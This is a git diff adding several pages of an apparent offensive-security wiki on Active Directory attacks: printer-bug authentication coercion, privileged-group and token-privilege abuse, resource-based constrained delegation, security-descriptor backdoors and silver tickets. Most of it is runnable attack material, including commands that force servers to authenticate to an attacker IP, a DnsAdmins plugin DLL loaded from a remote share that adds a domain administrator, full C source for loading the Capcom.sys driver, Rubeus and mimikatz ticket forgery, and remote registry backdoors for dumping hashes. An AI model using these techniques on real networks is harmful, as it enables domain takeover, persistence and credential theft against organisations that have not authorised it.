+Using a slightly modified @mysmartlogin's \(Vincent Le Toux's\) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), see if the Spooler Service is listening:
+
+```bash
+. .\Get-SpoolStatus.ps1
+ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
+```
+
+You can also use rpcdump.py on Linux and look for the MS-RPRN Protocol
+
+```bash
+rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
+```
+
+### Ask the service to authenticate against an arbitrary host
+
+You can compile[ **SpoolSample from here**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**.**
+
+```bash
+SpoolSample.exe <TARGET> <RESPONDERIP>
+```
+
+or use [**3xocyte's dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket)  or [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) if you're on Linux
+
+```bash
+python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
+printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
+```
+
+### Combining with Unconstrained Delegation
+
+If an attacker has already compromised a computer with [Unconstrained Delegation](unconstrained-delegation.md), the attacker could **make the printer authenticate against this computer**. Due to the unconstrained delegation, the **TGT** of the **computer account of the printer** will be **saved in** the **memory** of the computer with unconstrained delegation. As the attacker has already compromised this host, he will be able to **retrieve this ticket** and abuse it \([Pass the Ticket](pass-the-ticket.md)\).
+
+## Inside Windows
+
+If you are already inside the Windows machine you can force Windows to connect to a server using privileged accounts with:
+
+### Defender MpCmdRun
+
+```bash
+C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt
+```
+
+## Cracking NTLMv1
+
+If you can capture [NTLMv1 challenges read here how to crack them](../ntlm/#ntlmv1-attack).  
+_Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"_
+
diff --git a/windows/active-directory-methodology/privileged-accounts-and-token-privileges.md b/windows/active-directory-methodology/privileged-accounts-and-token-privileges.md
new file mode 100644
index 00000000000..b9b0802ac1f
--- /dev/null
+++ b/windows/active-directory-methodology/privileged-accounts-and-token-privileges.md
@@ -0,0 +1,378 @@
+# Privileged Accounts and Token Privileges
+
+## Known groups with administration privileges
+
+* **Administrators**
+* **Domain Admins**
+* **Enterprise Admins**
+
+There are other account memberships and access token privileges that can also be useful during security assessments when chaining multiple attack vectors.
+
+## AdminSDHolder  group
+
+The Access Control List \(ACL\) of the **AdminSDHolder** object is used as a template to **copy** **permissions** to **all “protected groups”** in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins.  
+By default, the ACL of this group is copied inside all the "protected groups". This is done to avoid intentional or accidental changes to these critical groups. However, if an attacker modifies the ACL of the group **AdminSDHolder** for example giving full permissions to a regular user, this user will have full permissions on all the groups inside the protected group \(in an hour\).  
+And if someone tries to delete this user from the Domain Admins \(for example\) in an hour or less, the user will be back in the group.
+
+Add a user to the **AdminSDHolder** group:
+
+```csharp
+Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
+```
+
+Check if the user is inside the **Domain Admins** group:
+
+```text
+Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
+```
+
+If you don't want to wait an hour you can use a PS script to make the restore happen instantly: [https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1)
+
+\*\*\*\*[**More information in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence)\*\*\*\*
+
+## Account Operators <a id="account-operators"></a>
+
+* Allows creating non administrator accounts and groups on the domain
+* Allows logging in to the DC locally
+
+Note the spotless' user membership:
+
+![](../../.gitbook/assets/1%20%282%29%20%281%29%20%281%29.png)
+
+However, we can still add new users:
+
+![](../../.gitbook/assets/a2.png)
+
+As well as login to DC01 locally:
+
+![](../../.gitbook/assets/a3.png)
+
+## Server Operators <a id="server-operators"></a>
+
+This membership allows users to configure Domain Controllers with the following privileges:
+
+* Allow log on locally
+* Back up files and directories
+* Change the system time
+* Change the time zone
+* Force shutdown from a remote system
+* Restore files and directories
+* Shut down the system
+
+Note how we cannot access files on the DC with current membership:
+
+![](../../.gitbook/assets/a4.png)
+
+However, if the user belongs to `Server Operators`:
+
+![](../../.gitbook/assets/a5.png)
+
+The story changes:
+
+![](../../.gitbook/assets/a6.png)
+
+## Backup Operators <a id="backup-operators"></a>
+
+As with `Server Operators` membership, we can access the `DC01` file system if we belong to `Backup Operators`:
+
+![](../../.gitbook/assets/a7.png)
+
+## DnsAdmins
+
+### Resume
+
+A user who is member of the **DNSAdmins** group or have **write privileges to a DNS** server object can load an **arbitrary DLL** with **SYSTEM** privileges on the **DNS server**.  
+This is really interesting as the **Domain Controllers** are used very frequently as DNS servers.
+
+### Execute
+
+Then, if you have a user inside the DNSAdmins group, you can make the DNS server load an arbitrary DLL with SYSTEM privileges. You can make the DNS server load a local or remote \(shared by SMB\) DLL file executing:
+
+```text
+dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
+dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
+```
+
+An example of a valid DLL can be found in [https://github.com/kazkansouh/DNSAdmin-DLL](https://github.com/kazkansouh/DNSAdmin-DLL). I would change the code of the function `DnsPluginInitialize`  to something like:
+
+```c
+DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
+{
+		system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
+		system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
+}
+```
+
+So, when the **DNSservice** start or restart, a new user will be created.
+
+Even having a user inside DNSAdmin group you **by default cannot stop and restart the DNS service.** But you can always try doing:
+
+```csharp
+sc.exe \\dc01 stop dns
+sc.exe \\dc01 start dns
+```
+
+\*\*\*\*[**Learn more about this privilege escalation in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise)
+
+## **AD Recycle Bin**
+
+This group gives you permission to read deleted AD object. Something juicy information can be found in there:
+
+```bash
+#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
+#You need to be in the "AD Recycle Bin" group of the AD to list the deleted AD objects
+Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
+```
+
+## Group Managed Service Accounts \(gMSA\)
+
+ In most of the infrastructures, service accounts are typical user accounts with “**Password never expire**” option. Maintaining these accounts could be a real mess and that's why Microsoft introduced  **Managed Service Accounts:**
+
+* No more password management. It uses a complex, random, 240-character password and changes that automatically when it reaches the domain or computer password expire date. 
+  * It is uses Microsoft Key Distribution Service \(KDC\) to create and manage the passwords for the gMSA.
+* It cannot be lock out or use for interactive login
+* Supports to share across multiple hosts
+* Can use to run schedule tasks \(Managed service accounts do not support to run schedule tasks\)
+* Simplified SPN Management – System will automatically change the SPN value if **sAMaccount** details of the computer change or DNS name property change.
+
+ gMSA accounts have their passwords stored in a LDAP property called _**msDS-ManagedPassword**_ which **automatically** get **resets** by the DC’s every 30 days, are **retrievable** by **authorized administrators** and by the **servers** who they are installed on. _**msDS-ManagedPassword**_ is an encrypted data blob called [MSDS-MANAGEDPASSWORD\_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) and it’s only retrievable when the connection is secured, **LDAPS** or when the authentication type is ‘Sealing & Secure’ for an example.
+
+![Image from https://cube0x0.github.io/Relaying-for-gMSA/](../../.gitbook/assets/asd1.png)
+
+So, if gMSA is being used, find if it has **special privileges** and also check if you have **permissions** to **read** the password of the services.
+
+Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about how to perform a **NTLM relay attack** to **read** the **password** of **gMSA**.
+
+## SeLoadDriverPrivilege <a id="seloaddriverprivilege"></a>
+
+A very dangerous privilege to assign to any user - it allows the user to load kernel drivers and execute code with kernel privilges aka `NT\System`. See how `offense\spotless` user has this privilege:
+
+![](../../.gitbook/assets/a8.png)
+
+`Whoami /priv` shows the privilege is disabled by default:
+
+![](../../.gitbook/assets/a9.png)
+
+However, the below code allows enabling that privilege fairly easily:
+
+{% code title="privileges.cpp" %}
+```c
+#include "stdafx.h"
+#include <windows.h>
+#include <stdio.h>
+
+int main()
+{
+	TOKEN_PRIVILEGES tp;
+	LUID luid;
+	bool bEnablePrivilege(true);
+	HANDLE hToken(NULL);
+	OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
+
+	if (!LookupPrivilegeValue(
+		NULL,            // lookup privilege on local system
+		L"SeLoadDriverPrivilege",   // privilege to lookup 
+		&luid))        // receives LUID of privilege
+	{
+		printf("LookupPrivilegeValue error: %un", GetLastError());
+		return FALSE;
+	}
+	tp.PrivilegeCount = 1;
+	tp.Privileges[0].Luid = luid;
+	
+	if (bEnablePrivilege) {
+		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+	}
+	
+	// Enable the privilege or disable all privileges.
+	if (!AdjustTokenPrivileges(
+		hToken,
+		FALSE,
+		&tp,
+		sizeof(TOKEN_PRIVILEGES),
+		(PTOKEN_PRIVILEGES)NULL,
+		(PDWORD)NULL))
+	{
+		printf("AdjustTokenPrivileges error: %x", GetLastError());
+		return FALSE;
+	}
+
+	system("cmd");
+    return 0;
+}
+```
+{% endcode %}
+
+We compile the above, execute and the privilege `SeLoadDriverPrivilege` is now enabled:
+
+![](../../.gitbook/assets/a10.png)
+
+### Capcom.sys Driver Exploit <a id="capcom-sys-driver-exploit"></a>
+
+To further prove the `SeLoadDriverPrivilege` is dangerous, let's **exploit it to elevate privileges**.
+
+You can load a new driver using  **NTLoadDriver:**
+
+```cpp
+NTSTATUS NTLoadDriver(
+  _In_ PUNICODE_STRING DriverServiceName
+);
+```
+
+By default the driver service name should be under `\Registry\Machine\System\CurrentControlSet\Services\`
+
+But, according with to the **documentation** you **could** also **use** paths under **HKEY\_CURRENT\_USER**, so you could **modify** a **registry** there to **load arbitrary drivers** on the system.  
+The relevant parameters that must be defined in the new registry are:
+
+* **ImagePath:** REG\_EXPAND\_SZ type value which specifies the driver path. In this context, the path should be a directory with modification permissions by the non-privileged user.
+* **Type**: Value of type REG\_WORD in which the type of the service is indicated. For our purpose, the value should be defined as SERVICE\_KERNEL\_DRIVER \(0x00000001\).
+
+Therefore you could create a new registry in **`\Registry\User\<User-SID>\System\CurrentControlSet\MyService`** indicating in **ImagePath** the path to the driver and in **Type** the with value 1 and use those values on the exploit \(you can obtain the User SID using: `Get-ADUser -Identity 'USERNAME' | select SID` or `(New-Object System.Security.Principal.NTAccount("USERNAME")).Translate([System.Security.Principal.SecurityIdentifier]).value`
+
+```bash
+PCWSTR pPathSource = L"C:\\experiments\\privileges\\Capcom.sys";
+PCWSTR pPathSourceReg = L"\\Registry\\User\\<User-SID>\\System\\CurrentControlSet\\MyService";
+```
+
+The first one declares a string variable indicating where the vulnerable **Capcom.sys** driver is located on the victim system and the second one is a string variable indicating a service name that will be used \(could be any service\).  
+Note, that the **driver must be signed by Windows** so you cannot load arbitrary drivers. But, **Capcom.sys** **can be abused to execute arbitrary code and is signed by Windows**, so the goal is to load this driver and exploit it.
+
+ Load the driver:
+
+```c
+#include "stdafx.h"
+#include <windows.h>
+#include <stdio.h>
+#include <ntsecapi.h>
+#include <stdlib.h>
+#include <locale.h>
+#include <iostream>
+#include "stdafx.h"
+
+NTSTATUS(NTAPI *NtLoadDriver)(IN PUNICODE_STRING DriverServiceName);
+VOID(NTAPI *RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
+NTSTATUS(NTAPI *NtUnloadDriver)(IN PUNICODE_STRING DriverServiceName);
+
+int main()
+{
+	TOKEN_PRIVILEGES tp;
+	LUID luid;
+	bool bEnablePrivilege(true);
+	HANDLE hToken(NULL);
+	OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
+
+	if (!LookupPrivilegeValue(
+		NULL,            // lookup privilege on local system
+		L"SeLoadDriverPrivilege",   // privilege to lookup 
+		&luid))        // receives LUID of privilege
+	{
+		printf("LookupPrivilegeValue error: %un", GetLastError());
+		return FALSE;
+	}
+	tp.PrivilegeCount = 1;
+	tp.Privileges[0].Luid = luid;
+	
+	if (bEnablePrivilege) {
+		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+	}
+	
+	// Enable the privilege or disable all privileges.
+	if (!AdjustTokenPrivileges(
+		hToken,
+		FALSE,
+		&tp,
+		sizeof(TOKEN_PRIVILEGES),
+		(PTOKEN_PRIVILEGES)NULL,
+		(PDWORD)NULL))
+	{
+		printf("AdjustTokenPrivileges error: %x", GetLastError());
+		return FALSE;
+	}
+
+	//system("cmd");
+	// below code for loading drivers is taken from https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/RDI/dll/NtLoadDriver.h
+	std::cout << "[+] Set Registry Keys" << std::endl;
+	NTSTATUS st1;
+	UNICODE_STRING pPath;
+	UNICODE_STRING pPathReg;
+	PCWSTR pPathSource = L"C:\\experiments\\privileges\\Capcom.sys";
+  PCWSTR pPathSourceReg = L"\\Registry\\User\\<User-SID>\\System\\CurrentControlSet\\MyService";
+	const char NTDLL[] = { 0x6e, 0x74, 0x64, 0x6c, 0x6c, 0x2e, 0x64, 0x6c, 0x6c, 0x00 };
+	HMODULE hObsolete = GetModuleHandleA(NTDLL);
+	*(FARPROC *)&RtlInitUnicodeString = GetProcAddress(hObsolete, "RtlInitUnicodeString");
+	*(FARPROC *)&NtLoadDriver = GetProcAddress(hObsolete, "NtLoadDriver");
+	*(FARPROC *)&NtUnloadDriver = GetProcAddress(hObsolete, "NtUnloadDriver");
+
+	RtlInitUnicodeString(&pPath, pPathSource);
+	RtlInitUnicodeString(&pPathReg, pPathSourceReg);
+	st1 = NtLoadDriver(&pPathReg);
+	std::cout << "[+] value of st1: " << st1 << "\n";
+	if (st1 == ERROR_SUCCESS) {
+		std::cout << "[+] Driver Loaded as Kernel..\n";
+		std::cout << "[+] Press [ENTER] to unload driver\n";
+	}
+
+	getchar();
+	st1 = NtUnloadDriver(&pPathReg);
+	if (st1 == ERROR_SUCCESS) {
+		std::cout << "[+] Driver unloaded from Kernel..\n";
+		std::cout << "[+] Press [ENTER] to exit\n";
+		getchar();
+	}
+
+    return 0;
+}
+```
+
+Once the above code is compiled and executed, we can see that our malicious `Capcom.sys` driver gets loaded onto the victim system:
+
+![](../../.gitbook/assets/a11.png)
+
+Download: [Capcom.sys - 10KB](https://firebasestorage.googleapis.com/v0/b/gitbook-28427.appspot.com/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LTyWsUdKa48PyMRyZ4I%2F-LTyZ9IkoofuWRxlNpUG%2FCapcom.sys?alt=media&token=e4417fb3-f2fd-42ef-9000-d410bc6ceb54)
+
+**No it's time to abuse the loaded driver to execute arbitrary code.**
+
+You can download exploits from [https://github.com/tandasat/ExploitCapcom](https://github.com/tandasat/ExploitCapcom) and [https://github.com/zerosum0x0/puppetstrings](https://github.com/zerosum0x0/puppetstrings) and execute it on the system to elevate our privileges to `NT Authority\System`:
+
+![](../../.gitbook/assets/a12.png)
+
+### Auto
+
+You can use [https://github.com/TarlogicSecurity/EoPLoadDriver/](https://github.com/TarlogicSecurity/EoPLoadDriver/) to **automatically enable** the **privilege**, **create** the **registry key** under HKEY\_CURRENT\_USER and **execute NTLoadDriver** indicating the registry key that you want to create and the path to the driver:
+
+![](../../.gitbook/assets/image%20%2845%29.png)
+
+Then, you will need to download a **Capcom.sys** exploit and use it to escalate privileges.
+
+## References <a id="references"></a>
+
+{% embed url="https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges" %}
+
+{% embed url="https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/" %}
+
+{% embed url="https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory" %}
+
+{% embed url="https://docs.microsoft.com/en-us/windows/desktop/secauthz/enabling-and-disabling-privileges-in-c--" %}
+
+{% embed url="https://adsecurity.org/?p=3658" %}
+
+{% embed url="http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/" %}
+
+{% embed url="https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/" %}
+
+{% embed url="https://rastamouse.me/2019/01/gpo-abuse-part-1/" %}
+
+{% embed url="https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/EXE/NtLoadDriver-C%2B%2B/ntloaddriver.cpp\#L13" %}
+
+{% embed url="https://github.com/tandasat/ExploitCapcom" %}
+
+{% embed url="https://github.com/TarlogicSecurity/EoPLoadDriver/blob/master/eoploaddriver.cpp" %}
+
+{% embed url="https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys" %}
+
+{% embed url="https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e" %}
+
+{% embed url="https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html" %}
+
+
+
diff --git a/windows/active-directory-methodology/resource-based-constrained-delegation.md b/windows/active-directory-methodology/resource-based-constrained-delegation.md
new file mode 100644
index 00000000000..3bd767f029e
--- /dev/null
+++ b/windows/active-directory-methodology/resource-based-constrained-delegation.md
@@ -0,0 +1,148 @@
+# Resource-based Constrained Delegation
+
+## Basics of Resource-based Constrained Delegation
+
+This is similar to the basic [Constrained Delegation](constrained-delegation.md) but **instead** of giving permissions to an **object** to **impersonate any user against a service**. Resource-based Constrain Delegation **sets** in **the object who is able to impersonate any user against it**.
+
+In this case, the constrained object will have an attribute called _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ with the name of the user that can impersonate any other user against it.
+
+Another important difference from this Constrained Delegation to the other delegations is that any user with **write permissions over a machine account** \(_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_\) ****can set the _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ \(In the other forms of Delegation you needed domain admin privs\).
+
+### New Concepts
+
+Back in Constrained Delegation it was told that the _**TrustedToAuthForDelegation**_ flag inside the _userAccountControl_  value of the user is needed to perform a **S4U2Self.** But that's not completely truth.  
+The reality is that even without that value, you can perform a **S4U2Self** against any user if you are a **service** \(have a SPN\) but, if you **have** _**TrustedToAuthForDelegation**_  the returned TGS will be **Forwardable** and if you **don't have** that flag the returned TGS **won't** be **Forwardable**.
+
+However, if the **TGS** used in **S4U2Proxy** is **NOT Forwardable** trying to abuse a **basic Constrain Delegation** it **won't work**. But if you are trying to exploit a **Resource-Based constrain delegation, it will work** \(this is not a vulnerability, it's a feature, apparently\).
+
+### Attack structure
+
+> If you have **write equivalent privileges** over a **Computer** account you can obtain **privileged access** in that machine.
+
+Suppose that the attacker has already **write equivalent privileges over the victim computer**.
+
+1. The attacker **compromises** an account that has a **SPN** or **creates one** \(“Service A”\). Note that **any** _Admin User_ without any other special privilege can **create** up ****until 10 **Computer objects \(**_**MachineAccountQuota**_**\)** and set them a **SPN**. So the attacker can just create a Computer object and set a SPN.
+2. The attacker configures **resource-based constrained delegation from Service A to the victim host**. 
+3. The attacker uses Rubeus to perform a **full S4U attack** \(S4U2Self and S4U2Proxy\) from Service A to Service B for a user **with privileged access to Service B**. 
+   1. S4U2Self \(from the SPN compromised/created account\): Ask for a **TGS of Administrator to me** \(Not Forwardable\).
+   2. S4U2Proxy: Use the **not Forwardable TGS** of the step before to ask for a **TGS** from **Administrator** to the **victim host**.
+   3. Even if you are using a not Forwardable TGS, as you are exploiting Resource-based constrained delegation, it will work.
+4. The attacker can **pass-the-ticket** and **impersonate** the user to gain **access to the victim**.
+
+To check the _**MachineAccountQuota**_ of the domain you can use:
+
+```text
+Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota
+```
+
+## Attack
+
+### Creating a Computer Object
+
+You can create a computer object inside the domain using [powermad](https://github.com/Kevin-Robertson/Powermad)**:**
+
+```csharp
+import-module powermad
+New-MachineAccount -MachineAccount FAKECOMPUTER -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
+```
+
+![](../../.gitbook/assets/b1.png)
+
+```bash
+Get-DomainComputer FAKECOMPUTER #Check if created if you have powerview
+```
+
+### Configuring R**esource-based Constrained Delegation**
+
+**Using activedirectory PowerShell module**
+
+```bash
+Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount FAKECOMPUTER$ #Assing delegation privileges
+Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
+```
+
+![](../../.gitbook/assets/b2.png)
+
+#### Using powerview
+
+```bash
+$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
+$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
+$SDBytes = New-Object byte[] ($SD.BinaryLength)
+$SD.GetBinaryForm($SDBytes, 0)
+Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
+
+#Check that it worked
+Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'
+
+msds-allowedtoactonbehalfofotheridentity
+----------------------------------------
+{1, 0, 4, 128...}
+```
+
+### Performing a complete S4U attack
+
+First of all, we created the new Computer object with the password `123456`, so we need the hash of that password:
+
+```bash
+.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
+```
+
+This will print the RC4 and AES hashes for that account.  
+Now, the attack can be performed:
+
+```bash
+rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
+```
+
+You can generate more tickets just asking once using the `/altservice` param of Rubeus:
+
+```bash
+rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
+```
+
+{% hint style="danger" %}
+Note that users has an attribute called "**Cannot be delegated**". If a user has this attribute to True, you won't be able to impersonate him . This property can be seen inside bloodhound.
+{% endhint %}
+
+![](../../.gitbook/assets/b3.png)
+
+### Accessing
+
+The last command line will perform the **complete S4U attack and will inject the TGS** from Administrator to the victim host in **memory**.  
+In this example it was requested a TGS for the **CIFS** service from Administrator, so you will be able to access **C$**:
+
+```bash
+ls \\victim.domain.local\C$
+```
+
+![](../../.gitbook/assets/b4.png)
+
+### Abuse different service tickets
+
+Lear about the [**available service tickets here**](silver-ticket.md#available-services).
+
+## Kerberos Errors
+
+* **`KDC_ERR_ETYPE_NOTSUPP`**: This means that kerberos is configured to not use DES or RC4 and you are supplying just the RC4 hash. Supply to Rubeus at least the AES256 hash \(or just supply it the rc4, aes128 and aes256 hashes\). Example: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
+* **`KRB_AP_ERR_SKEW`**: This means that the time of the current computer is different from the one of the DC and kerberos is not working properly.
+* **`preauth_failed`**: This means that the given  username + hashes aren't working to login. You may have forgotten to put the "$" inside the username when generating the hashes \(`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`\)
+* **`KDC_ERR_BADOPTION`**: This may mean:
+  * The user you are trying to impersonate cannot access the desired service \(because you cannot impersonate it or because it doesn't have enough privileges\)
+  * The asked service doesn't exist \(if you ask for a ticket for winrm but winrm isn't running\)
+  * The fakecomputer created has lost it's privileges over the vulnerable server and you need to given them back.
+
+## References
+
+{% embed url="https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html" %}
+
+{% embed url="https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/" %}
+
+{% embed url="https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution\#modifying-target-computers-ad-object" %}
+
+{% embed url="https://blog.stealthbits.com/resource-based-constrained-delegation-abuse/" %}
+
+
+
+
+
diff --git a/windows/active-directory-methodology/security-descriptors.md b/windows/active-directory-methodology/security-descriptors.md
new file mode 100644
index 00000000000..b7c26f03c31
--- /dev/null
+++ b/windows/active-directory-methodology/security-descriptors.md
@@ -0,0 +1,33 @@
+# Security Descriptors
+
+## Security Descriptors
+
+Security Descriptor Definition Language \(SDDL\) defines the format which is used to describe a security descriptor. SDDL uses ACE strings for DACL and SACL:: `ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;`
+
+The **security descriptors** are used to **store** the **permissions** an **object** has **over** an **object**. If you can just **make** a **little change** in the **security descriptor** of an object, you can obtain very interesting privileges over that object without needing to be member of a privileged group.
+
+Then, this persistence technique is based on the hability to win every privilege needed against certain objects, to be able to perform a task that usually requires admin privileges but without the need of being admin.
+
+You can give a user access to **execute remotely WMI** [**using this**](https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemoteWMI.ps1):
+
+```bash
+Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc –namespace 'root\cimv2' -Verbose
+Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc–namespace 'root\cimv2' -Remove -Verbose #Remove
+```
+
+Give access to **winrm PS console to a user** [**using this**](https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemoteWMI.ps1)**:**
+
+```bash
+Set-RemotePSRemoting -UserName student1 -ComputerName <remotehost> -Verbose
+Set-RemotePSRemoting -UserName student1 -ComputerName <remotehost> -Remove #Remove
+```
+
+Access the **registry** and **dump hashes** creating a **Reg backdoor using** [**DAMP**](https://github.com/HarmJ0y/DAMP)**,** so you can at any moment retrieve the **hash of the computer**, the **SAM** and any **cached AD** credential in the computer. So, it's very useful to give this permission to a **regular user against a Domain Controller computer**:
+
+```bash
+Add-RemoteRegBackdoor -ComputerName <remotehost> -Trustee student1 -Verbose
+Get-RemoteMachineAccountHash -ComputerName <remotehost> -Verbose
+Get-RemoteLocalAccountHash -ComputerName <remotehost> -Verbose
+Get-RemoteCachedCredential -ComputerName <remotehost> -Verbose
+```
+
diff --git a/windows/active-directory-methodology/silver-ticket.md b/windows/active-directory-methodology/silver-ticket.md
new file mode 100644
index 00000000000..7393c670486
--- /dev/null
+++ b/windows/active-directory-methodology/silver-ticket.md
@@ -0,0 +1,190 @@
+# Silver Ticket
+
+## Silver ticket
+
+The Silver ticket attack is based on **crafting a valid TGS for a service once the NTLM hash of service is owned** \(like the **PC account hash**\). Thus, it is possible to **gain access to that service** by forging a custom TGS **as any user**.
+
+In this case, the NTLM hash of a computer account \(which is kind of a user account in AD\) is owned. Hence, it is possible to craft a ticket in order to get into that machine with administrator privileges through the SMB service. The computer accounts reset their passwords every 30 days by default.
+
+It also must be taken into account that it is possible to forge tickets using the AES Kerberos keys \(AES128 and AES256\). To know how to generate an AES key read: [section 4.4 of MS-KILE](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625) or the [Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372).
+
+{% code title="Linux" %}
+```bash
+python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park -spn cifs/labwws02.jurassic.park stegosaurus
+export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache 
+python psexec.py jurassic.park/stegosaurus@labwws02.jurassic.park -k -no-pass
+```
+{% endcode %}
+
+In Windows, **Mimikatz** can be used to **craft** the **ticket**. Next, the ticket is **injected** with **Rubeus**, and finally a remote shell can be obtained thanks to **PsExec**.
+
+{% code title="Windows" %}
+```bash
+#Create the ticket
+mimikatz.exe "kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park"
+#Inject in memory using mimikatz or Rubeus
+mimikatz.exe "kerberos::ptt ticket.kirbi"
+.\Rubeus.exe ptt /ticket:ticket.kirbi
+#Obtain a shell
+.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
+```
+{% endcode %}
+
+The **CIFS** service is the one that allows you to **access the file system of the victim**. You can find other services here: [**https://adsecurity.org/?page\_id=183**](https://adsecurity.org/?page_id=183)**.** For example, you can use the **HOST service** to create a _**schtask**_ in a computer. Then you can check if this has worked trying to list the tasks of the victim: `schtasks /S <hostname>` or you can use the **HOST and** **RPCSS service** to execute **WMI** queries in a computer, test it doing: `Get-WmiObject -Class win32_operatingsystem -ComputerName <hostname>`
+
+### Mitigation
+
+Silver ticket events ID \(more stealth than golden ticket\):
+
+* 4624: Account Logon
+* 4634: Account Logoff
